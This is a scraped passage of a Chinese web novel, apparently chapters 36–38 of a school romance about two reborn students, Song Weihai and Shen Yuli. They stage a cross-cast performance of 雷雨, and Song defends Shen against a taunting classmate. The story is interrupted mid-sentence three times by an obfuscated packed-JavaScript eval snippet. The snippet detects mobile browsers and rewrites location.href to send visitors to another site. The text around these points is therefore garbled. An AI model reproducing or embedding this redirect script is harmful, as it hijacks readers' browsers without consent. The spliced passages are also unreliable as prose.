——“宋未海?宋未海!”这时有人在喊他,还有人直接伸手去拍他的肩膀,一下猛地把宋未海拽回现实! 他回神,看到周围几双目光正齐刷刷地盯着他看,他甚至能感到一些好奇和八卦的视线。 方盏咳嗽了声,刚要开口,却被沈余离抢了先:“准备太入迷了?背台词不着急,我们先来对几遍找感觉就行。” 她的声音很温和,不动声色地帮他解围,一时让宋未海羞愧难当——沈余离要是知道他刚刚脑子里在想什么,还会这样温柔地对待他吗? 在他思考的期间,沈余离已经慢条斯理地从椅子上站起来,她比宋未海矮一点儿,但扬起眉毛时,却也颇有几分居高临下的味道;“我要走了。” 她的声音冰冷、疏离、不容置疑,宋未海知道这是台词,也知道她在强迫他入戏。 “等、等一会儿……!”他下意识地伸出手,又有些僵硬地撤回,这不是演技,而是他的本能反应,“我请你稍微坐一会儿。” 比起放才沈余离和另一个姑娘亲密无间的模样,这俩人之间却像横着一条不可逾越的激流,沈余离此啦一声拽过椅子,有些逃避似地背对着宋未海,而宋未海则双腿并拢着斜靠,双手搭在双膝上——他这么摆姿势的时候,方盏实在是没有忍住,噗嗤一声发出了点动静。 瞬间,沈余离斜眼,冷冷地瞥了他一眼,小姑娘仿佛真如一位口含金钥的纨绔子弟,轻轻一瞥,之间尽是权利、金钱和阶级堆砌起来的威压,即便周萍这个角色懦弱、自私又不断逃避着,他却依然如他那位敬畏又暗暗生厌的父亲,举手投足中都渗透着上位者的姿态。 方盏被震了一下,识趣地闭上嘴,只能忍着继续听宋未海和沈余离搭戏。 一开始,大家包括沈余离在内,都觉得宋未海这样社恐又常年脸红的人,表演话剧肯定放不开,不过当宋未海开始说他的第三句台词时,他已经完全褪去了刚才的胆怯,沈余离第一次在宋未海脸上看到那么丰富的表情,在两人一来一回的对话间,他轻微皱眉的幅度、充满着不甘又仍残存着一丝希望的眼睛、轻微颤抖的语气,都和平时那个宋未海皆然不同,自卑和焦虑从眼底消散,当他重新抬眼看向沈余离时,她只看到了他眼中独属于角色的、千般流转的情感。 两个人都非常投入,对戏对得很顺利,很快就来到了那句众人皆知的台词,有人已经提前捂好嘴打算笑出声,就连沈余离都不由自主地有些出戏,她的嘴角有点抽动,一时有点不敢面对。 她听到宋未海苏说完周萍的身世,下一秒声情并帽道:“是你!是你把我引诱到一条母亲不像母亲,情妇不像情妇的道路上去的!” “噗哈哈哈哈哈哈……”宋未海这幅样子带来的冲击实在太大,有好几个同学忍不住笑出了声,桌椅被动作幅度带动的声音在教室里异常明晰,就连沈余离都偏过头,有些忍俊不禁,不过等她自我调整了一下,再回过身打算继续演下去的时候,却有些惊奇地发现,在这样笑声四起的环境中,宋未海依然再认真地演下去。 他好像并未因为反串而就把这个节目当作一个喜剧来对待,也并未因为周围人的动静就停下来,即便这样的氛围中充满着嬉笑打闹,宋未海的眼底也没有任何一丝的笑意,他没有因为别人而停下来,只是继续像一个连着被两代人压迫的女子一样,眼底泛红,隐忍愤怒却又收束着不敢完全爆发,浑身因为克制而在轻轻颤抖。 他从来没有用如此嘹亮、如此感情激荡的口吻说过话,一声更比一声高,好像他正在面对的不是沈余离,身处的也不是21世纪的教室,而是在那个吃人的、充满着阶级与父权压迫的大家庭里,声泪俱下地控诉着一个懦弱的男人。 沈余离不由自主地被感染到了,她知道宋未海有多么强大的共情能力,这样的共情能力让他敏感、感性甚至有些脆弱,但这样的感情能力也让他在尽可能地感受着每一个人的悲欢离合,无论是过去时代下被不断压迫的女性还是如今那些身有残疾的孩子们,他都能看到他们的故事、他们的无奈、他们的尊严。 他能够演好反串,是因为他能够触摸到她的痛苦,即使相隔在不同的两个维度里,他依然是如此的情真意切。 无论是卑微如蝼蚁,还是伟岸如大象,宋未海永远在正式着每一个生命的存在,他们的悲欢,也牵动着他的悲欢。 其实也根本不算是什么值得被人称道的事情,但沈余离却觉得心里好像塌下去了一块似的,有些动容,于是也重新回到戏剧中。 二人一唱一和,精彩纷呈,等沈余离念完最后一句台词愤然离去时,周围的同学不由得拍了拍手,旁边有个男生很自来熟地缆柱宋未海的肩膀:“宋未海,没想到你在戏剧方面还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062702|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺有天赋的嘛。” 离开剧本,宋未海又重新变回那个安安静静、脸色微红的少年,他有些不好意思地笑笑,即使面对同龄人,也依然正经客套:“谢谢,你谬赞了。” 他以非常委婉的动作拿下了搭在他身上的手臂,下一组是方盏和方舟的对手戏,兄妹俩这组合虽然看起来很奇葩,但是两个人竟然都意外得很入戏,不知道自主地解读和代入角色是不是文科生的天赋,一向沉闷的方舟放开手脚演后,有一种与形象不符的爆发力,足以震慑周围的同学,而方盏也没了先前那副阴阳怪气的架子,演得很认真,这么看去,他倒也没有之前那么的令人生厌了。 后面的剧情他们过得很快,在最后一位演员念完台词之后,宋未海啪地一下合起手上的剧本,笑道:“谢谢大家牺牲体育课的时间来排练,大家都辛苦了,我们提早放,都去吃饭吧。” 他话音落下,原本挤在一起的学生欢呼着散开,很快,教室里就只剩下沈余离合宋未海两个人。 宋未海在收桌子上的东西,一边收一边询问沈余离:“你不去吃饭吗?” “等你。”沈余离帮他把桌椅恢复,淡淡道,“没事,不是很饿。” “你演得挺好的,小鱼,说实话我有点吃惊,毕竟在我印象里你还是很高冷的。”宋未海道,“尤其是你开头搂着四凤那里……非常传神,一点都不出戏。” 沈余离听到这句话,手上的动作一顿,不由得挑起眉。 她怎么从这句话中……听出了一丝丝—— ——羡慕? 他到底要怎样,他也想小鸟依人吗? “为什么觉得吃惊。”沈余离收起思绪,笑了笑,“都是女孩子,又没什么问题。” “嗯……怎么说呢。”宋未海手上动作没停,却不由自主地想起了医院里,沈余离抱紧他时的感受,“总觉得,你像那种生人勿近,不太像会和别人有肢体接触的那种人。” “其实只要我很喜欢对方,这样的接触我都不是很排斥,比如说小祈和林桉她们。”沈余离讲到这儿,轻微地停了一秒,随即,又看似漫不经心地开口,“其实,只要不是很越界,你我也不排斥,你想拥抱我的时候,就可以拥抱我。” 这话她说得云淡风轻:“我允许了。” 沈余离逗宋未海逗惯了,她很爱看他那种突然一下子愣住,然后脸“唰”地一下红透的反应,那样子让她感觉很好玩儿,不过,令沈余离没有料到的是,这一次宋未海并没有如她所愿的一惊一乍起来,而是放下手中的几份剧本,走到沈余离身边,他们俩一下子靠得很近——虽然远没有到人贴着人的地步,但是沈余离觉得,已经远超过宋未海所谓“普通朋友”的界限了。 不过显然,她能感受到自己并不排斥。 距离的逼近,让沈余离下意识地抬起头,她看向宋未海的眼睛,表面上仍算得上镇定:“怎么了?” 宋未海一手扶着桌沿,沈余离瞟向他的手腕,一根根凸起的青筋暗示着他正在用力,少年垂下头,深遂的目光贯穿厚厚的眼睛片,直直地盯着沈余离。 沈余离条件反射性地往后退了一步,不过宋未海却率先扣住了她的胳膊。 十一月底的蓬山市已经算提早入冬了,可是天气却依然晴朗,被阳光晒过的风柔和平缓,穿越过婆娑的树叶,吹动起教室的窗帘,蓝色的布料霎时间翻飞涌动,黑影在两人直接涌动着,就像海上起伏的波浪。 “小鱼。”宋未海的喉结滚了一下,声音有些沙哑,“那我现在……可以拥抱你吗?” 37. 致风动草|三 . 沈余离愣住,没想过宋未海会直接这么问。 之前青涩腼腆的气质自他身上褪去了大半,他垂眼盯着沈余离,神色同以往的躲躲闪闪、飘忽不定都不同,他很认真,凭借手上的力道来看,也没有半分要松手的意思,好像如果不从沈余离的口中问出回答,他就不会轻易罢休。 沈余离挣了挣,没拧得过他,一时有些好笑道:“拥抱就拥抱,这么抓着我,你要干嘛?和我打架?” 宋未海:“……” “以我的观察来说……”沈余离认真思考起这个问题,“你打不过我,还有这里是教室,我们问心无愧了老师不一定啊,影响不好。” 说罢,她径直指了指头顶上的监控。 宋未海放开了她,但脚步却没有移动,两人依然站得很近,宋未海的目光,自始至终都没有离开过沈余离。 她一直很坦荡,大大方方地面对流言、面对起哄、面对他不可言说的脸红,他觉得,沈余离就像在说“你可以拥抱我”这种话时都显得一身正气,对于那些微妙的暧昧气氛,他不知道她是毫无察觉,还是毫不在意, 她说她问心无愧,可他有。 那些隐秘的、不可言说的心思是一株缠绕攀爬的紫藤花,沈余离用自己的温柔给他搭了一支花架,心底的那株紫藤便能一直不知疲倦地向上生长,每一片紫色的花瓣都带着醉人的香气,直到最后开成一片叫嚣着翻涌着的花海,腐蚀掉他最后的防守。 沈余离如果知道他那些喜欢的话,她会怎么样? 前面自己信誓旦旦地在全班面前保证只是朋友,这一声响亮的巴掌,却在下一秒就能落到他的脸上。 自己对于沈余离,真的只是止步于远观的暗恋吗? 人的欲望没有止境,人的索求永不停歇,如若以前宋未海与沈余离毫无交集,他的感情一声都无法得到回音,他自然也认。 可是现在却不同于往日了,他们一起经历过这么多事,面对了这么多困难,他胆小、忧虑、不堪深究的一面她全都见过,但是沈余离依然没有离开他,时不时出言逗他一句,又时不时不失耿直地提醒他,她宽容、聪明、还有点自己的小腹黑,却又带着锋芒,不是毫无底线之人——总而言之,她对于宋未海来说不再只是一座遥远的画像,而是一个如此鲜活的生命,每看到她的一点不同,对于宋未海来说都像是拆开了一个盲盒礼物,小小的惊喜感不断地动摇他的心,直到那一颗不断膨胀的心脏,随着他们的一次次接近而彻底失控。 他想要和她谈恋爱,想要和她牵手,如果他们能坐在街边的长椅一起听一首歌就更好了,这样,在被音乐隔绝的世界里,他转头就能看到沈余离。 不过很快,宋未海又回想起沈余离的那一张脸——那双目光明亮的眼睛,成为了最后一丝清明,把他拉回了理智。 比起这一切的一切,他还是最希望,她不要讨厌他,即使他把自己所有的想法都磨灭掉都可以。 想到这儿,宋未海闭上眼睛,深地吸了一口气:“对不起。” “嗯?”沈余离耸了耸肩,“没事的。我不在意,去吃饭吧?” 宋未海喃喃:“……好。” 二人一前一后走出教室,穿过学校长长的走廊,这个时候已经没什么人了,整条楼道都空旷切安静,如果仔细听,还能够听见脚步的回声。 方才宋未海脸上的神情明显是在想些什么,具体是什么,沈余离还不清楚,不过当他向前一步抓住自己时,沈余离非常敏锐地捕捉到,这个人眼里闪过的一丝进攻的渴望。 前所未有,闻所未闻,这种眼神发生在宋未海身上,无异于沈余离哪天知道自己数学突然考了满分并转头去学物化生。 可就算这一现象罕见得像世界未解之谜,沈余离也大概能猜到他的心思了,两个人虽然现在都披着学生的身份,但好歹是年满十八又死过一次的成年人,对很多情愫不再是少年时期那种朦胧模糊的感觉,而是非常清晰的自我认定。 不过,宋未海这块木头估计真的以为,她愿意和他抱一下,只是因为他们是关系非常好的朋友呢。 沈余离每次看到他把脸憋得僵硬,都忍着笑意,宋未海估计觉得自己掩饰得很好,他这心态就跟他把物理压轴题写满一样,看起来是个学霸,乍一看把自由落体的公式填成了万有引力的,估了满分最后得了零分。 等到他们高中毕业了,沈余离一定会把这些反应尽数描述给他,然后再跟他坦白心意。沈余离心想,毕竟他们又不是带挂重生,当年高考数学压轴题选什么她都记不得了,如果真的谈起恋爱,那两个人真的都要当二百五了。 高考结束以后,就告诉他一切吧。沈余离暗自道。 到时候,她会很期待他的反应。 . 沈余离他们抵达食堂的时候,窗口只剩下最难吃的AB餐了,宋未海不挑食,秉持着下午不吃就会死的信念感拿了一份开始进食,沈余离对午饭的要求就比较苛刻了,与其让自己难吃到吐个天女散花,她觉得宁愿空着肚子吧,反正自己也不是很饿。 这时候的食堂已经走了一半人了,沈余离在角落里看到了独自吃饭的方舟,干脆拉着宋未海去和方舟坐一桌了。 “我觉得你开朗了好多。”宋未海在看见此举后进行了点评,“你们甚至都没见几面,你已经和舟舟这么熟了吗?” 反正他做不到,他和他这个名义上的表妹讲过的话都不超过三十句,每逢过年过节,整个饭桌上只有宋无霜和方盏在进行魔法对轰,精彩绝伦胜过春晚小品。 所以沈余离能这么快和方舟坐一桌吃饭,宋未海还是听惊讶的,他觉得估计是两个人气质比较相似,所以同类相吸吧。 沈余离没有回答他的感叹,只是默默地瞥了他一眼,笑而不语,接着走到方舟对面坐下。 宋未海实在是尴尬得不知道说什么,这种认识却又不熟的感觉最令人脚趾抠地了,他斟酌了半晌,最后艰难地挤出一句:“你好……” 方舟莫名其妙地瞥了他一眼,但是出于礼貌还是回了:“哦。” 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062703|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点儿客气,但不多。 她的注意力没在宋未海身上做过多的停留,直接开始跟沈余离搭话:“你不吃饭吗?” “太难吃了。”比起之前和其他同学的交往,沈余离很明显地放松下来,她的背部不再长时间的紧绷,一手托着下巴,非常闲散地趴在桌子上。 宋未海还是第一次见她这样,以往的沈余离对谁都有距离感,就算是对着自己,沈余离也没有将所有的情绪都全部外显过,她一直用一层玻璃罩子罩住自己,心中的翻江倒海都被隔绝在内,就连讲述自己死亡的经历,都波澜不惊得像在将奇幻故事。 宋未海一直觉得,除了事关沈祈生,没人能彻底走进沈余离的世界,看着很好相处,其实心中的很多事,她都自己默默无闻地藏着,对周围保持着戒备。 可她和方舟在一起时呈现的状态又完全不同了,她会真心实意地笑,无所顾忌地讲话,甚至使的坏都更多了,手指的指腹不断点着桌子,就像毛绒垫上一只慵懒的猫。 宋未海看着沈余离,又看看方舟,这样的特殊对待,让他心底不禁升起担忧。 难不成……沈余离喜欢…….女的? 难不成……她把他看成姐妹了,所以才接受拥抱?? 一定是这样!! 一想到这儿,宋未海又觉得自己要心脏病发作了,如果不是在公共场合,他真想捂着心口倒下去,这和遭雷劈有什么区别? 说好的一见钟情、久别重逢呢? 说好的暗恋成真、同甘共苦呢? 说好的牵手呢?耳机呢?长椅呢? 他自作多情了这么久,合着人家是真把他当姐妹啊!! “你想啥呢。”沈余离多了解宋未海啊,一看到他着一红一白一紫一青宛如动感彩色灯球的脸,就知道他又想歪了,“再不吃饭就要上课了。” 沈余离还算给他面子,方舟要更直接:“你这病也不是无可救药,实在不行做点数学。” 宋未海觉得自己还是死了算了吧。 “反应这么大。”方舟放下筷子,抽纸擦了擦嘴,“看来我没想错,你真的还有很多事情不知道啊。” “没。”沈余离打了下哈欠,“这个没讲。” 方舟想了想,点头道:“不过也是。” 沈余离看着是那种有棱有角的性格,管他三七二十一,只要让她不爽了她都要制裁,但其实在和一般人相处的过程中,沈余离还是很为别人考虑的,如果是有关他人的私事,她一般都会闭口不谈。 这下就轮到宋未海一头雾水了:“什么讲了……她没讲全吗?” “关于我的事,你不知道吧。”方舟一点不拖泥带水地给他解释,“小鱼一直很尊重别人,所以我的事情,她不会随便和你讲的。” 宋未海心中的疑惑更大了:“你的事情?你们俩……之前认识吗?我怎么不知道?” “你当然不知道……不过这个故事很长,等今天放学了,我和小鱼再告诉你吧。”方舟面不改色,“因为……这是上一世的交情了。” 38. 致风动草|四 . 宋未海当时在食堂听到这么一句话,根本无法相信自己的耳朵,他甚至怀疑自己是因为吃食堂中毒了,出现幻觉了。 什么叫……沈余离和方舟的上一世交情?也就是说,方舟也并不属于这一世,而是带着遗忘的记忆重生而来的吗? 宋未海和方舟虽说有着亲缘关系,但是在高考结束之后,宋未海就几乎没再听到过方舟的消息,他们两个的交情就如蜻蜓点水,过一会儿便毫无痕迹,她后面遭遇了什么,他可以说是完全不知情。 那天下课后,方舟没有像说书一样,把自己的故事事无巨细地说出来,她只是很简略地概括了一下自己的人生。 她讲到他们家一开始很幸福,实则后来遭遇了变故,爸爸妈妈本身只是普通的小职员,但奈何一时冲动铤而走险,投资亏损了两百万,方盏和方舟当时上学生活都需要钱,可家里就算勒紧了裤腰带,再变卖点儿财产东拼西凑,也只能供一个孩子去上学。方舟的妈妈当时哄过方舟,说哥哥的成绩更好,去上学以后赚大钱的可能越高,希望方舟能把这个机会让给哥哥。 方舟没有乖乖听家里的安排,执意去上了学,她和沈余离是直系同学,虽然年级不同,但有时有专业的实践活动或者选题时,她们会遇到。 纵使话说得再怎么好听,当方舟真的要去上学时,父母还是没给她多少钱,这就意味着,所有的经济开销都要靠她自己来争取,原本靠着助学金,她可以勉强生活,可惜后来遇见了渣男,被诈骗了一大笔钱,最后自己也生了重病,一睁眼,自己就已经回到了十七岁。 整个过程,她没有用不堪肮脏的词语辱骂任何人,当然也没有表现出要予以原谅的姿态,倒是宋未海听得心一拧一拧的,他觉得自己的经历已经足够倒霉了,没想到这么曲折坎坷却是许多人的常态,他们以前总以为自己能活到白发苍苍的时候,但毕竟没有谁活得了寿终正寝的承诺。 后面上学的日子里,每每想到方舟的那些话,宋未海都不由得觉得头皮发麻,就连心脏也会不由自主地加速。 他太小心了,太不希望失去现在的安宁了,以至于一件冲突事件,都能掀起他心中忧愁的浪潮。 还会有更多的危险的人吗? 还会有更多的飞来横祸吗? 直到时间来到年末了,宋未海都一直不太敢相信这件事是真的,整个人的精神状态一时有些恍惚,沈余离就坐在他身旁,能够感受到他的焦虑,时不时会让他别那么担心,即便人各自有命,他们有幸重来,处理这些事也会更有经验, 就算这样,宋未海也无法放下悬着的心,他只能将更多的精力投入到排练和导演中,只有沉浸在这些事情里的时候,宋未海的那些思绪,才会被暂时地隔绝。 所幸参演的同学们都很配合,就连方盏都不会在排练的时候找宋未海麻烦,大家齐心协力地将这出看似滑稽奇葩的戏剧排得有模有样,可谁也没想到,就在演出的前一天,会突然发生意外—— “宋未海!”一大早,就有人急急忙忙地冲进教室,一掌拍在他的桌子上,“叶雪甲流了,明天肯定来不了了,我们的剧怎么办?” 宋未海心中一冷,有些不敢相信自己的耳朵:“什么?” 叶雪,就是那个演四凤的女同学,她这一走,相当于戏剧直接却了几块最核心的拼图,旁人一看,就能知道这是一副残次品。 “怎么办?”男生很着急,急得脸都红了,甚至于开始口不择言,“你知道吗,别的班都已经开始诋毁咱们了?理科班的那个什么周一凡,还有赵志云以前那些小跟班,他们说你排得节目肯定很烂,这下我们班的文艺节目因为你全部都要完蛋了!” “暧。”沈余离听不下去了,伸出手指敲了敲桌子,“叶雪生病是不可抗力,宋未海现在肯定是最着急的那一个,你给他上压力有什么用?” “你有病吧,你指责我干嘛啊!”男生一听沈余离的话就有些恼怒,瞪着眼睛大叫,“这话又不是我说的!再说了……他作为导演,一开始就应该预测到这些突发状况啊,他自己考虑不周导致班级节目演不了,他们说是说的难听,但也是实话……” “那群傻逼已经造过一次谣了,说什么都信,我看你也挺聪明。”沈余离眯起眼睛,“导演就负全责了?你这么有远见,当初怎么不提?当时没一个人想到的事,现在马后炮有什么用?” “沈余离!你他妈的!”男生的声音又拔高了一个分贝,看起来下一秒就要冲上去干架,“别以为我不知道他们之前说你……” “之前那些谣言早就澄清了,别拿这个攻击她。”一直在一旁沉默不语的宋未海冷不防地发话,他抬起眼,脸上神色罕见得有些严肃,照宋未海以前的性子,他这时候应该当个缩头乌龟,可不知为什么,当沈余离的陈年旧事再度被提起时,宋未海的心中逐渐从同情到吃了石子儿一样膈应,旁人拿着莫须有的恶意去攻击她一次,宋未海心里的最后一根线就被别人踩在脚下摩擦了一次,一股少见的生气在他心头迅速膨胀,让他意识到自己不还击,这口气他咽不下去,“可以是我的问题,你说她的事就扯很远了。” 很奇妙,他居然不害怕对方冲过来报复他了,沈余离三个字是一座分量极重的钟,旁人随意敲打一下,钟声便能迅速震碎宋未海的所有懦弱,他没有任何惧色地看着男生,语调平缓:“至于剧的事情,不用着急,明天照常演。” “照常演什么演!”男生已经在崩溃边缘,“人都没来齐,怎么演!” “可以演。”宋未海微微提高音量,平时看起来脾性很好的人,稍微认真一点儿就能把人震住,“我来解决。” “……“末了,他又松了口气,放缓语调道,“我理解你的集体荣誉感和不甘,被他们这么说,我也不爽,但是相信我,我们可以继续演下去的,好吗?” 宋未海最后的神色很诚恳,那一双柔和的眼睛深深地望着对面的人,让这个方才咄咄逼人的男生一时觉得有些变扭,僵持半晌,才不情不愿地扭过头:“好吧。” 他双手松开桌面,直起身,刚要离开,宋未海却又突然叫住他:“等一下。” 男生狐疑地回头:“干嘛?” 宋未海静静地看着他,一字一句、口齿清晰道:“和沈余离道歉,” 男生莫名其妙地看着他:“不是刚刚对方就上头互相骂了两句吗,而且后面我也没有——” “向她道歉。”宋未海的语气并不冰冷,相反,他的音色很温柔,可这短短的四个字间,竟然也多了一份不容拒绝的坚持。 一旁的沈余离怔了下,经过上一世的经历,她已经习惯了听过就过去,不去较真的处事方式,没想到宋未海会执着地让对方给自己道歉,丝毫都不含糊、退缩,和以前那个唯唯诺诺的他截然不同。 宋未海不是装给沈余离看的,也不是在报复男生刚刚的出言不逊,在旁人看来,他甚至可能有些较真,可宋未海也没管那么多,就这么一动不动地看着那个男生,没有任何一点要退缩或者算了的意思。 他没干什么,男生却被他盯得有些发怵,有些自认倒霉道:“对不起,沈余离,我不该拿那些事乱开玩笑的。” 沈余离收起方才的锋芒,看似很大度地笑笑,嘴上却一点儿没吃亏:“你说的这句话,我会好好记住的。” 这两个人,一个当起了笑面虎,一个摸不透在想什么,男生几乎是想都不想,就决定先逃为敬了。 现在是早自习的时间,方盏和他同桌还没来,那个男生一跑,沈余离他们这里又重新恢复了安静。 “宋未海。”沈余离看着那个男生离开的背影,然后转过头看向她的这位同桌紧绷的样子,连脸部的每一块肌肉都在用力,不禁莞尔,“谢谢你,这是我这两世以来,第一次在这件事上收到道歉。” “……不客气,应该的。”那男生一走,宋未海又习惯性地缩起肩膀,默默把头低下去,小声道,“以后不管谁这么说你,我都会让他们给你道歉的。” 沈余离听罢,笑笑:“好,那看来以后没人能欺负我了。” 宋未海的耳廓红了,搭在桌面上的五指不由自主地蜷曲、收紧、攥在手心。 对于她的夸赞,他一开始觉得羞愧难当,两个世界线,加起来接近半生的时间,那句阻止和宽慰却始终如鲠在喉,第一世,沈余离被肆意造谣,他所有的关注都被自己压在心底,就像一个逃兵躲在角落里看着“凶手”手起刀落。他总觉得她不该是这样的结局,她所承受的这一切都不是她应该承受的,在过去的无数个瞬间里,宋未海总是幻想着自己冲上去,像个从天而降的骑士,把他们全部都打倒,然后揪着他们的领子,大声让他们一个个道歉,可每当他想要站起来、走出去,那些讥讽的口吻,恶毒的眼神,总像无数支涂上毒的苦无,麻痹着他的行动,那些话反复排演了一千遍一万遍,而时至今日,他终于得以坚决地说出口。 界限被冲破的刹那,恐惧也一并毁灭,宋未海心头那些七七八八的顾虑都已经被唯一的念头夷为平地——从今往后,他还要做得更好,要变得强大,直到他能让任何一个试图伤害沈余离的人,都还给她一个她应得的道歉,直到他能让沈余离的一次次期待和包容不再落空,直到他们能成为并肩而立的人,一起去面对未来的诸多危险。 他一定要改变,他一定会让沈余离看到,自己不是只会躲在她背后的人。宋未海想。 比如现在,又比如,明天。 . 12月29日,元旦放假前夕,学校不上课,给同学们开迎新晚会。 台底下坐着的是全校的学生,黑压压的一片,显得后台的灯光非常刺眼,几个道具组的同学推着道具一路狂奔,硬纸板和地面摸索发出呲啦呲啦的声音,方舟和沈余离正在互相贴胡子戴假发,方盏还在练台词,中间不断穿梭过几个端着化妆品和服装乱窜的同学,一切都显的有些焦灼,连带着人心都烦躁起来。 “宋未海说的那个法子到底是什么啊?他难不成一夜之间变成神医治好叶雪吗?”有人忍不住开始质疑,“不会只是为了稳住军心随便说的吧……纸包不住火啊。” “对啊,之前别的班就有人说了,宋未海在高一时就是那种很闷的书呆子,看起来就不太聪明……” “咱们班这剧能演成吗?别到时候上去大家一起闹笑话,那很好笑了,我们也马上也要被说‘早知如此,就留到春晚再看了’。” “嘘嘘嘘,你没看沈余离在那边嘛,你说宋未海小心她骂你。” “骂我怎么啦?我说错了吗,我说实话,到这个时候,也就沈余离相信宋未海了,傻子,说不定还是恋爱脑,到时候就她被坑得最惨,和空气对戏。” “《雷雨》剧组准备!”这时候,负责组织秩序的同学冲着后台一吼,打断了其他演员的窃窃私语,“等主持人讲完串词,第一幕的同学就可以上场了。” 他们选段的第一幕,正好就是四凤和周萍相拥谈话那一段,沈余离扣上白衬衫最上面的一颗扣子,整理了下自己的短发,淡淡道:“我准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062704|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备好了。” 旁人纷纷都投来异样的目光,沈余离之前就在蓬山三中名声大噪,这下又出了点突发状况,身带传言的人面临着意外,自然是被这一群吃瓜群众所喜闻乐见,至于演得怎么样,他们相反没那么在乎。 不过沈余离倒没有被这些人影响到,她对着镜子翻好衣领,俨然一个风流倜傥的青年,随着报幕的声音一结束,红色的幕帘缓缓拉开,白色的聚光灯迎面打下,光晕随着视野的变化掠过观众席,在一片鸦雀无声和无数目光的注视中,沈余离缓缓走上台,找到沙发的位置,坐下。 这时,四凤就应该出场了,但叶雪生病的事情已经人尽皆知,所以许多人都情不自禁地屏息凝神,下意识地将目光投向舞台边缘—— 三。 二。 一。 三秒停顿过后,预料中的尴尬才场面并没有发生,幕帘被拉开,一个身着宽松衣裤,扎着两股长辫的“少女”走上台,十分自然地挨着沈余离坐下,不过“她”并没有像原来设计的那样直接靠上沈余离的肩,那人只是轻轻握住了她的手腕,然后一脸笑意地转向沈余离。 那声声情并茂的:“萍——”一出来,沈余离差点破功。 宋未海带着假发,画了一个很清秀的妆容,他看着沈余离,眼中没有半分嬉闹的神色,一脸委屈道:“你总是这么偷偷摸摸的,连叫我都不敢叫……” 他没有过分的肢体接触,全靠神色和语调来支撑着语气,这样的表演本该显得单薄,可宋未海却将其中的不舍、委屈和少女热恋中隐晦的撒娇演绎得无比生动,以至于瞬间就将沈余离代入了戏里,“周萍”拉过“四凤”,轻拍着对方的肩膀以示安慰,二人从离别说到相见,从暗号说到爱,从我今晚来见你说到带我走,一言一行,一颦一笑,宋未海的“四凤”娇羞天真又敢爱敢想,沈余离的“周萍”擅花言巧语又满腹算计,尽管因为反串,台下时不时有人发笑,但宋未海和沈余离却演得很投入,仿佛他们真是那个被困在大家庭里,被困在阶级中身不由己的青年人,所有的贪嗔痴念,爱恨情仇,全在那些抑扬顿挫的语调中被撕开来给观众看。 二人演完第一场戏,后台有人高喊了一句太太马上就下来,这时的宋未海佯装惊慌地跑下台,沈余离顺着她的视角看过去,能看到宋未海很快地脱下外面的布衣,拉下被包在里面的旗袍,随即利落地把两股麻花辫一盘,又换了一种步伐走上台来,身姿不必刚才妙龄少女的轻盈,更加的沉稳端庄,就连声音都刻意压低了些。 前面最难的关顺利过去,这会儿的两人明显都放松了许多,按照着原来排练了无数遍的台词、动作来演,当沈余离和宋未海站起来争吵、辩驳、甚至都说了一些直接的话时,情绪被他们不断地渲染、带动、盘旋至巅峰,再轰然爆发出来,女人不甘的控诉和男人惊慌的辩解交错着环绕在场馆中,把所有人都浸泡在了一场巨大的情绪博弈之中,至此,已经鲜少有人再在乎演员的身份,所有的注意力,都被紧紧吸引在了剧情的推动里。 一整场剧下来都非常流畅,所有演员们都被带动着渐入佳境,方盏和方舟的对手戏也将各个压抑许久、最终得以宣泄的情感演得淋漓尽致,他们这样亢奋投入的状态一直持续到最后一句台词的收束,啪的一声灯光全灭,黑暗中各种道具被悄然移走,再度亮起之时,所有演员已穿着演出服站在台上,他们连成一排,高扬起手,又整齐划一地鞠躬谢幕。 掌声雷鸣,却在宋未海的耳中一片模糊,他只能感觉到自己的手心充满了汗水,正被沈余离紧紧地握着。 欢呼与喧嚣络绎不绝,耀眼的灯光照彻舞台,在巨大到震耳欲聋的声浪中,沈余离偏过头看向宋未海,冲他微微一笑:“你真的很厉害。” 从他能把残疾孩子的生活描绘的有声有色时,从他能为一个虚拟人物真情实意地落泪时,从他能放下自己的怯懦让别人给她道歉时,她都一直一直觉得,宋未海从来不是一无是处的人。 宋未海顺着演员的队伍的动向转身,在准备下台前,他背对着沈余离,轻轻道:“谢谢你。” 他们班的队伍缓缓下台,但喝彩声还在持续,这让所有参演的演员都觉得很有成就感,之前那几个胡乱猜测的人被推到宋未海面前,他们有些不好意思地挠了挠头,道:“抱歉啊宋未海,我们前面说太多泄气话了……” “你的临场反应真的很棒,原来以为是搞抽象,结果看着觉得很震撼。”一群人七嘴八舌地开始夸赞起来。 “对啊,而且你的很多动作都很利落……四凤台词不少,就一个晚上,你居然能背熟,还把它演出来了,还演得这么好!” 